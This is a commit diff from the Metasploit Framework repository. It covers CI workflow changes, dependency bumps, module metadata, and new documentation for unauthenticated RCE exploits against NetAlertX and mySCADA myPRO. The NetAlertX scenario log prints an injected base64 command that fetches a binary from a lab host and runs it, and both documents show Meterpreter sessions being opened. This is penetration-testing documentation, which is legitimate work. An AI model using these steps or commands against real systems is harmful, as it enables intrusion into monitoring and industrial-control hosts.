Merge branch 'rapid7:master' into fileless_elf_execution

This commit is contained in:
msutovsky-r7
2025-02-16 20:01:15 +01:00
committed by GitHub
55 changed files with 1399 additions and 1079 deletions
@@ -66,7 +66,7 @@ jobs:
- windows-2019
- ubuntu-20.04
ruby:
- 3.1.5
- '3.2'
include:
# Powershell
- { command_shell: { name: powershell }, os: windows-2019 }
+1 -1
View File
@@ -38,7 +38,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- '3.1'
- '3.2'
name: Lint msftidy
steps:
@@ -30,11 +30,11 @@ on:
type: boolean
jobs:
# Compile Java Meterpreter via docker if required, we can't always do this on the
# Compile the Meterpreter payloads via docker if required, we can't always do this on the
# host environment (i.e. for macos). So it instead gets compiled first on a linux
# host, then the artifacts are copied back to the host later
java_meterpreter_compilation:
name: Compile Java Meterpreter
meterpreter_compilation:
name: Compile Meterpreter
runs-on: ubuntu-latest
if: ${{ inputs.build_metasploit_payloads }}
@@ -46,21 +46,22 @@ jobs:
path: metasploit-payloads
ref: ${{ inputs.metasploit_payloads_commit }}
- name: Build Java and Android payloads
- name: Build Meterpreter payloads
run: |
mkdir $(pwd)/java-artifacts
docker run --rm -w "$(pwd)" -v "$(pwd):$(pwd)" rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "set -x && cd metasploit-payloads/java && mvn package -Dandroid.sdk.path=/usr/local/android-sdk -Dandroid.release=true -Ddeploy.path=../../java-artifacts -Dmaven.test.skip=true -P deploy && mvn -Dmaven.test.skip=true -Ddeploy.path=../../java-artifacts -P deploy package"
mkdir $(pwd)/meterpreter-artifacts
docker run --rm -w $(pwd) -v $(pwd):$(pwd) rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "cd metasploit-payloads/gem && rake create_dir && rake win_copy && rake php_prep && rake java_prep && rake python_prep && rake create_manifest && rake build"
cp $(pwd)/metasploit-payloads/gem/pkg/metasploit-payloads-* $(pwd)/meterpreter-artifacts
- name: Store Java artifacts
- name: Store Meterpreter artifacts
uses: actions/upload-artifact@v4
with:
name: java-artifacts
path: java-artifacts
name: meterpreter-artifacts
path: meterpreter-artifacts
# Run all test individually, note there is a separate final job for aggregating the test results
test:
needs: java_meterpreter_compilation
if: always() && (needs.java_meterpreter_compilation.result == 'success' || needs.java_meterpreter_compilation.result == 'skipped')
needs: meterpreter_compilation
if: always() && (needs.meterpreter_compilation.result == 'success' || needs.meterpreter_compilation.result == 'skipped')
strategy:
fail-fast: false
@@ -70,7 +71,7 @@ jobs:
- windows-2019
- ubuntu-20.04
ruby:
- 3.1.5
- '3.2'
meterpreter:
# Python
- { name: python, runtime_version: 3.6 }
@@ -208,28 +209,28 @@ jobs:
working-directory: metasploit-framework
- uses: actions/download-artifact@v4
name: Download Java meterpreter
id: download_java_meterpreter
if: ${{ matrix.meterpreter.name == 'java' && inputs.build_metasploit_payloads }}
name: Download Meterpreter
id: download_meterpreter
if: ${{ matrix.meterpreter.name != 'mettle' && inputs.build_metasploit_payloads }}
with:
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
path: raw-data
- name: Extract Java Meterpreter (Unix)
if: ${{ matrix.meterpreter.name == 'java' && runner.os != 'Windows' && inputs.build_metasploit_payloads }}
- name: Extract Meterpreter (Unix)
if: ${{ matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' && inputs.build_metasploit_payloads }}
shell: bash
run: |
set -x
download_path=${{steps.download_java_meterpreter.outputs.download-path}}
cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data
download_path=${{steps.download_meterpreter.outputs.download-path}}
cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework
- name: Extract Java Meterpreter (Windows)
if: ${{ matrix.meterpreter.name == 'java' && runner.os == 'Windows' && inputs.build_metasploit_payloads }}
- name: Extract Meterpreter (Windows)
if: ${{ matrix.meterpreter.name != 'mettle' && runner.os == 'Windows' && inputs.build_metasploit_payloads }}
shell: bash
run: |
set -x
download_path=$(cygpath -u '${{steps.download_java_meterpreter.outputs.download-path}}')
cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data
download_path=$(cygpath -u '${{steps.download_meterpreter.outputs.download-path}}')
cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework
- name: Install mettle gem
if: ${{ matrix.meterpreter.name == 'mettle' && inputs.build_mettle }}
@@ -250,32 +251,6 @@ jobs:
path: metasploit-payloads
ref: ${{ inputs.metasploit_payloads_commit }}
- name: Get metasploit-payloads version
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
shell: bash
run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
working-directory: metasploit-payloads
- name: Build metasploit-payloads gem
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
run: gem build ./gem/metasploit-payloads.gemspec
working-directory: metasploit-payloads
- name: Copy metasploit-payloads gem into metasploit-framework
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
shell: bash
run: cp ../metasploit-payloads/metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem .
working-directory: metasploit-framework
- name: Install metasploit-payloads gem
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
run: |
bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem
bundle config unset deployment
bundle update metasploit-payloads
bundle install
working-directory: metasploit-framework
- name: Build Windows payloads via Visual Studio 2019 Build (Windows)
shell: cmd
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2019' && inputs.build_metasploit_payloads }}
@@ -294,12 +269,39 @@ jobs:
make.bat
working-directory: metasploit-payloads
- name: Build PHP, Python and Windows payloads
if: ${{ (matrix.meterpreter.name == 'php' || matrix.meterpreter.name == 'python' || runner.os == 'Windows') && inputs.build_metasploit_payloads }}
run: |
make install-php install-python install-windows
- name: Get metasploit-payloads version
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
shell: bash
run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
working-directory: metasploit-payloads
- name: Install metasploit-payloads gem
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
run: |
bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem
working-directory: metasploit-framework
- name: Remove metasploit-payloads version from metasploit-framework.gemspec
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' }}
run: |
ruby -pi -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec
working-directory: metasploit-framework
- name: Remove metasploit-payloads version from metasploit-framework.gemspec (Windows)
if: ${{ inputs.build_metasploit_payloads && (runner.os == 'Windows' && matrix.meterpreter.name != 'windows_meterpreter') && matrix.meterpreter.name != 'mettle' }}
shell: cmd
run: |
ruby -pi.bak -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec
working-directory: metasploit-framework
- name: Bundle update/install metasploit-payloads gem
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
run: |
bundle config unset deployment
bundle update metasploit-payloads
bundle install
working-directory: metasploit-framework
- name: Acceptance
env:
SPEC_HELPER_LOAD_METASPLOIT: false
+1 -2
View File
@@ -60,7 +60,6 @@ jobs:
fail-fast: true
matrix:
ruby:
- '3.1'
- '3.2'
- '3.3'
- '3.4'
@@ -69,7 +68,7 @@ jobs:
- ubuntu-latest
include:
- os: ubuntu-latest
ruby: '3.1'
ruby: '3.2'
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1'
test_cmd:
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
@@ -0,0 +1,98 @@
name: Weekly Data and External Tool Updater
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: write
deployments: none
id-token: none
issues: none
discussions: none
packages: none
pages: none
pull-requests: write
repository-projects: none
security-events: none
statuses: none
on:
schedule:
# Run once a week (e.g., every Monday at 01:00 UTC)
- cron: '0 1 * * 1'
workflow_dispatch: # Allows manual triggering from the Actions tab
jobs:
update-data-files:
runs-on: ubuntu-latest
if: github.repository_owner == 'rapid7'
env:
BUNDLE_WITHOUT: "coverage development pcap"
strategy:
fail-fast: true
matrix:
ruby:
- '3.2'
steps:
- name: Install system dependencies
run: sudo apt-get install libpcap-dev graphviz
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0
- uses: ruby/setup-ruby@v1
with:
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
- name: Run Ruby updater scripts
run: |
ruby tools/dev/update_wordpress_vulnerabilities.rb
ruby tools/dev/update_joomla_components.rb
ruby tools/dev/update_user_agent_strings.rb
ruby tools/dev/check_external_scripts.rb -u
- name: Remove vendor folder # prevent git from adding it
run: rm -rf vendor
- name: Create Pull Request
uses: peter-evans/create-pull-request@v7
with:
token: ${{ secrets.GITHUB_TOKEN }}
commit-message: Update report
base: master
branch: weekly-updates
committer: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
author: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
title: "Weekly Data Update"
draft: false
body: |
This pull request was created automatically by a GitHub Action to update data files and external scripts.
The following tools were run:
- ruby tools/dev/update_wordpress_vulnerabilities.rb
- ruby tools/dev/update_joomla_components.rb
- ruby tools/dev/update_user_agent_strings.rb
- ruby tools/dev/check_external_scripts.rb -u
## Verification
### Wordpress/Joomla Files
- [ ] Do a sanity check, do the additions look legit?
- [ ] Start `msfconsole`
- [ ] `use modules/auxiliary/scanner/http/wordpress_scanner`
- [ ] **Verify** it runs
### JTR Files
- [ ] Do a sanity check, do the additions look legit?
- [ ] See https://docs.metasploit.com/docs/using-metasploit/intermediate/hashes-and-password-cracking.html#example-hashes for hashes and cracking
### SharpHound
- [ ] Start `msfconsole`
- [ ] get a shell on a DC or box connected to a dc
- [ ] `use post/windows/gather/bloodhound`
- [ ] `set session`
- [ ] `run`
- [ ] **Verify** it runs w/o erroring
- [ ] `set method disk`
- [ ] **Verify** it runs w/o erroring
+3 -3
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.4.48)
metasploit-framework (6.4.50)
aarch64
abbrev
actionpack (~> 7.0.0)
@@ -323,7 +323,7 @@ GEM
logger
mime-types-data (~> 3.2015)
mime-types-data (3.2024.1001)
mini_portile2 (2.8.7)
mini_portile2 (2.8.8)
minitest (5.25.1)
mqtt (0.6.0)
msgpack (1.6.1)
@@ -346,7 +346,7 @@ GEM
network_interface (0.0.4)
nexpose (7.3.0)
nio4r (2.7.4)
nokogiri (1.16.7)
nokogiri (1.18.2)
mini_portile2 (~> 2.8.2)
racc (~> 1.4)
nori (2.7.1)
+3 -3
View File
@@ -90,7 +90,7 @@ memory_profiler, 1.1.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.3, "New BSD"
metasploit-credential, 6.0.11, "New BSD"
metasploit-framework, 6.4.48, "New BSD"
metasploit-framework, 6.4.50, "New BSD"
metasploit-model, 5.0.2, "New BSD"
metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.5, "New BSD"
@@ -98,7 +98,7 @@ metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD"
method_source, 1.1.0, MIT
mime-types, 3.6.0, MIT
mime-types-data, 3.2024.1001, MIT
mini_portile2, 2.8.7, MIT
mini_portile2, 2.8.8, MIT
minitest, 5.25.1, MIT
mqtt, 0.6.0, MIT
msgpack, 1.6.1, "Apache 2.0"
@@ -115,7 +115,7 @@ net-ssh, 7.3.0, MIT
network_interface, 0.0.4, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.7.4, "MIT, Simplified BSD"
nokogiri, 1.16.7, MIT
nokogiri, 1.18.2, MIT
nori, 2.7.1, MIT
octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
+2
View File
@@ -10,6 +10,8 @@ info:
x-cortex-type: service
x-cortex-domain-parents:
- tag: metasploit
x-cortex-groups:
- exposure:external-ship
openapi: 3.0.1
servers:
- url: "/"
+124 -3
View File
@@ -6802,7 +6802,7 @@
],
"targets": null,
"mod_time": "2025-01-28 17:20:10 +0000",
"mod_time": "2025-01-30 17:27:49 +0000",
"path": "/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb",
"is_install_path": true,
"ref_name": "admin/ldap/ad_cs_cert_template",
@@ -24175,7 +24175,7 @@
],
"targets": null,
"mod_time": "2025-01-31 14:48:57 +0000",
"mod_time": "2025-02-11 20:49:08 +0000",
"path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb",
"is_install_path": true,
"ref_name": "gather/ldap_esc_vulnerable_cert_finder",
@@ -62377,7 +62377,7 @@
"https"
],
"targets": null,
"mod_time": "2024-11-12 18:23:31 +0000",
"mod_time": "2025-02-04 15:41:33 +0000",
"path": "/modules/auxiliary/server/relay/esc8.rb",
"is_install_path": true,
"ref_name": "server/relay/esc8",
@@ -79530,6 +79530,68 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/netalertx_rce_cve_2024_46506": {
"name": "Unauthenticated RCE in NetAlertX",
"fullname": "exploit/linux/http/netalertx_rce_cve_2024_46506",
"aliases": [
],
"rank": 600,
"disclosure_date": "2025-01-30",
"type": "exploit",
"author": [
"Chebuya (Rhino Security Labs)",
"Takahiro Yokoyama"
],
"description": "An attacker can update NetAlertX settings with no authentication, which results in RCE.",
"references": [
"CVE-2024-46506",
"URL-https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/"
],
"platform": "Linux",
"arch": "",
"rport": 20211,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Linux Command"
],
"mod_time": "2025-02-11 11:25:24 +0000",
"path": "/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb",
"is_install_path": true,
"ref_name": "linux/http/netalertx_rce_cve_2024_46506",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"config-changes",
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/netgear_dgn1000_setup_unauth_exec": {
"name": "Netgear DGN1000 Setup.cgi Unauthenticated RCE",
"fullname": "exploit/linux/http/netgear_dgn1000_setup_unauth_exec",
@@ -192323,6 +192385,65 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/scada/mypro_mgr_cmd": {
"name": "mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)",
"fullname": "exploit/windows/scada/mypro_mgr_cmd",
"aliases": [
],
"rank": 600,
"disclosure_date": "2024-11-21",
"type": "exploit",
"author": [
"Michael Heinzl"
],
"description": "Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.\n The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.",
"references": [
"URL-https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07",
"CVE-2024-47407"
],
"platform": "Windows",
"arch": "cmd",
"rport": 34022,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows_Fetch"
],
"mod_time": "2025-01-29 20:18:05 +0000",
"path": "/modules/exploits/windows/scada/mypro_mgr_cmd.rb",
"is_install_path": true,
"ref_name": "windows/scada/mypro_mgr_cmd",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/scada/procyon_core_server": {
"name": "Procyon Core Server HMI Coreservice.exe Stack Buffer Overflow",
"fullname": "exploit/windows/scada/procyon_core_server",
@@ -86,8 +86,7 @@ OptSomething.new(option_name, [boolean, description, value, *enums*], aliases: *
options](#Filtering-datastore-options) section for more information.
* **fallbacks** *optional*, *key-word only* An array of names that will be used as a fallback if the main option name is
defined by the user. This is useful in the scenario of wanting specialised option names such as `SMBUser`, but to also
support gracefully checking a list of more generic fallbacks option names such as `Username`. This functionality is
currently behind a feature flag, set with `features set datastore_fallbacks true` in msfconsole
support gracefully checking a list of more generic fallbacks option names such as `Username`.
Now let's talk about what classes are available:
@@ -15,27 +15,27 @@ Once the appropriate repository label is added, you will need to edit the GitHub
repository and branch you want to test. Below I will outline some changes that are required to make this work, update
the following lines like so:
1. Point at your forked repository - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L188):
1. Point at your forked repository - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L189):
```yaml
repository: foo-r7/metasploit-framework
```
2. Point at your forked repository branch - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L190):
2. Point at your forked repository branch - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L191):
```yaml
ref: fixes-all-the-bugs
```
3. Point at your forked repository that contains the payload changes you'd like to test - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L249)
3. Point at your forked repository that contains the payload changes you'd like to test - update lines [45](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L45) and [250](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L250):
```yaml
repository: foo-r7/metasploit-payloads
```
4. Point at your forked repository branch that contains the payload changes you'd like to test - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L251):
4. Point at your forked repository branch that contains the payload changes you'd like to test - update lines [47](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L47) and [252](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L252):
```yaml
ref: fixes-all-the-payload-bugs
```
Steps 3 and 4 outline the steps required when steps testing metasploit-payloads. The same steps apply for Mettle, the
following lines would need updated:
- Point at your forked repository that contain the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L155).
- Point at your forked repository branch that contains the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L157).
- Point at your forked repository that contain the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L156).
- Point at your forked repository branch that contains the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L158).
@@ -20,10 +20,12 @@ The issue mode. This controls what the module will do once an authenticated sess
server. Must be one of the following options:
* ALL: Enumerate all available certificate templates and then issue each of them
* AUTO: Automatically select either the `User` or `Machine` template to issue based on if the authenticated user is a
user or machine account. The determination is based on checking for a `$` at the end of the name, which means that it
is a machine account.
* QUERY_ONLY: Enumerate all available certificate templates but do not issue any
* AUTO: Automatically select either the `User` or `DomainController` and `Machine` (`Computer`) templates to issue
based on if the authenticated user is a user or machine account. The determination is based on checking for a `$`
at the end of the name, which means that it is a machine account.
* QUERY_ONLY: Enumerate all available certificate templates but do not issue any. Not all certificate templates
available for use will be displayed; templates with the flag CT_FLAG_MACHINE_TYPE set will not show available and
include `Machine` (AKA `Computer`) and `DomainController`
* SPECIFIC_TEMPLATE: Issue the certificate template specified in the `CERT_TEMPLATE` option
### CERT_TEMPLATE
@@ -0,0 +1,110 @@
## Vulnerable Application
An attacker can update NetAlertX settings with no authentication, which results in RCE.
The vulnerability affects:
* v23.01.14 <= NetAlertX <= v24.9.12
This module was successfully tested on:
* NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04
### Installation
1. `docker pull jokobsk/netalertx:24.9.12`
2. docker run
```bash
docker run --rm --network=host \
-v /tmp/netalertx:/app/config \
-v /tmp/netalertx:/app/db \
-e TZ=Europe/Berlin \
-e PORT=20211 \
jokobsk/netalertx:24.9.12
```
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506`
4. Do: `run lhost=<lhost> rhost=<rhost>`
5. You should get a meterpreter
## Options
### WAIT (required)
Wait time (seconds) for the payload to be set. Default is `75`.
### CLEANUP
Restore DBCLNP_CMD to original value after execution. Default is `true`.
## Scenarios
```
msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options
Module options (exploit/linux/http/netalertx_rce_cve_2024_46506):
Name Current Setting Required Description
---- --------------- -------- -----------
CLEANUP true no Restore DBCLNP_CMD to original value after execution
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 20211 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
WAIT 75 yes Wait time (seconds) for the payload to be set
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE true yes Attempt to delete the binary after execution
FETCH_FILENAME GXIuXvsu no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
LHOST 192.168.0.12 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 24.9.12 detected.
[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}Y3VybCAtc28gLi9QWHhyY3hFRCBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1BYeHJjeEVEOy4vUFh4cmN4RUQmc2xlZXAgNztybSAtcmYgLi9QWHhyY3hFRA==|base64${IFS}-d|/bin/bash'.
[*] Waiting settings really updated...
[*] Sending stage (3045380 bytes) to 192.168.56.17
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:57510) at 2025-02-10 21:57:30 +0900
[*] Added the payload to the queue. Waiting for the payload to run...
[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'.
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.56.17
OS : (Linux 6.8.0-51-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,61 @@
## Vulnerable Application
**Vulnerability Description**
This module exploits a command injection vulnerability in mySCADA MyPRO Manager <= v1.2 (CVE-2024-47407).
An unauthenticated remote attacker can exploit this vulnerability to inject arbitrary OS commands, which will get executed in the context of
`myscada9`, an administrative user that is automatically added by the product during installation.
Versions <= 1.2 are affected. CISA published [ICSA-24-326-07](https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07) to cover
the security issues. The official changelog from the vendor for the updated version is available
[here](https://www.myscada.org/docs/5-11-2024/).
**Vulnerable Application Installation**
A trial version of the software can be obtained from [the vendor](https://www.myscada.org/mypro/).
**Successfully tested on**
- mySCADA MyPRO Manager 1.2 on Windows 11 (10.0 Build 22621)
## Verification Steps
1. Install the application
2. After installation, reboot the system and wait some time until a runtime (e.g., 9.2.1) has been fetched and installed.
3. Start `msfconsole` and run the following commands:
```
msf6 > use exploit/windows/scada/mypro_mgr_cmd
msf6 exploit(windows/scada/mypro_mgr_cmd) > set RHOSTS <IP>
msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit
```
You should get a meterpreter session in the context of `myscada9`.
## Scenarios
Running the exploit against MyPRO Manager v1.2 on Windows 11, using curl as a fetch command, should result in an output similar to the
following:
```
msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit
[*] Started reverse TCP handler on 192.168.1.227:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending stage (201798 bytes) to 192.168.1.228
[*] Meterpreter session 1 opened (192.168.1.227:4444 -> 192.168.1.228:50472) at 2025-01-29 12:38:39 -0500
[*] Exploit finished, check thy shell.
meterpreter > getuid
Server username: asdf\myscada9
meterpreter > sysinfo
Computer : asdf
OS : Windows 11 (10.0 Build 22621).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x64/windows
```
@@ -8,11 +8,34 @@ module Metasploit
# - Admin Login
class Ivanti < HTTP
DEFAULT_SSL_PORT = 443
LIKELY_PORTS = [443]
LIKELY_SERVICE_NAMES = [
'Ivanti Connect Secure'
]
PRIVATE_TYPES = [:password]
REALM_KEY = nil
def initialize(scanner_config, admin)
@admin = admin
super(scanner_config)
end
def check_setup
request_params = {
'method' => 'GET',
'uri' => normalize_uri('/dana-na/auth/url_default/welcome.cgi')
}
res = send_request(request_params)
if res && res.code == 200 && res.body&.include?('Ivanti Connect Secure')
return false
end
'Application might not be Ivanti Connect Secure, please check'
end
def create_admin_request(username, password, token, protocol, peer)
{
'method' => 'POST',
@@ -73,6 +96,8 @@ module Metasploit
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil?
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 302
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if !res.headers&.key?('location')
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } if res.headers['location'] == '/dana-na/auth/url_admin/welcome.cgi?p=admin%2Dconfirm'
if res.headers['location'] == '/dana-admin/misc/admin.cgi'
@@ -122,7 +147,7 @@ module Metasploit
end
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil?
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 302
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if res.blank?
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if !res.headers&.key?('location')
if res.headers['location'] == '/dana-na/auth/url_default/welcome.cgi?p=ip%2Dblocked'
sleep(2 * 60) # 2 minutes
+1 -1
View File
@@ -32,7 +32,7 @@ module Metasploit
end
end
VERSION = "6.4.48"
VERSION = "6.4.50"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+1 -1
View File
@@ -623,7 +623,7 @@ class ReadableText
)
options.sort_by(&:name).each do |opt|
name = opt.name
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
if mod.datastore.is_a?(Msf::DataStore)
val = mod.datastore[name]
else
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
+9 -2
View File
@@ -202,6 +202,8 @@ Shell Banner:
tbl << [key, value]
end
tbl << ['.<command>', "Prefix any built-in command on this list with a '.' to execute in the underlying shell (ex: .help)"]
print(tbl.to_s)
print("For more info on a specific command, use %grn<command> -h%clr or %grnhelp <command>%clr.\n\n")
end
@@ -607,8 +609,13 @@ Shell Banner:
end
# Built-in command
if commands.key?(method)
return run_builtin_cmd(method, arguments)
if commands.key?(method) or ( not method.nil? and method[0] == '.' and commands.key?(method[1..-1]))
# Handle overlapping built-ins with actual shell commands by prepending '.'
if method[0] == '.' and commands.key?(method[1..-1])
